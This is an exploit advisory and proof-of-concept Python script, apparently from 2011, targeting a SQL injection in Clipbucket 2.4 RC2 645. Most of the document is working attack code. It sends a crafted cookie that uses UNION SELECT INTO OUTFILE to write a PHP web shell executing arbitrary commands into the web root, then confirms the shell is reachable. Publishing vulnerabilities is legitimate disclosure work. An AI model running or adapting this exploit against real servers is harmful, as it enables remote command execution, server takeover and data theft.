# ------------------------------------------------------------------------
# Software................Clipbucket 2.4 RC2 645
# Vulnerability...........SQL Injection
# Threat Level............Critical (4/5)
# Download................http://www.clip-bucket.com/
# Discovery Date..........5/23/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
#
#
# --Description--
#
# A sql injection vulnerability in Clipbucket 2.4 RC2 645 can be
# exploited to extract arbitrary data. In some environments it may be
# possible to create a PHP shell.
#
#
# --PoC--
import socket
host = 'localhost'
path = '/clipbucket'
shell_path = '/shell.php'
port = 80
def upload_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)
s.send('POST ' + path + '/includes/common.php HTTP/1.1\r\n'
'Host: localhost\r\n'
'Connection: keep-alive\r\n'
'User-Agent: x\r\n'
'Content-Length: 0\r\n'
'Cache-Control: max-age=0\r\n'
'Origin: null\r\n'
'Content-Type: multipart/form-data; boundary=----x\r\n'
'Cookie: cb_lang=\'and%201=0%20UNION%20SELECT%20\'%3C?php%20echo%20system($_GET[%22CMD%22])%3b%20?%3E\',\'\',\'\',\'\',\'\',\'\'%20FROM%20dual%20INTO%20OUTFILE%20\'../../htdocs/shell.php\'%3b%23; sess_salt=1testab\'testxy\r\n'
'Accept: text/html\r\n'
'Accept-Language: en-US,en;q=0.8\r\n'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
'\r\n')
resp = s.recv(8192)
http_ok = 'HTTP/1.1 200 OK'
if http_ok not in resp[:len(http_ok)]:
print 'error uploading shell'
return
else: print 'shell uploaded'
s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
'Host: ' + host + '\r\n\r\n')
if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'
else: print 'shell located at http://' + host + shell_path
upload_shell()
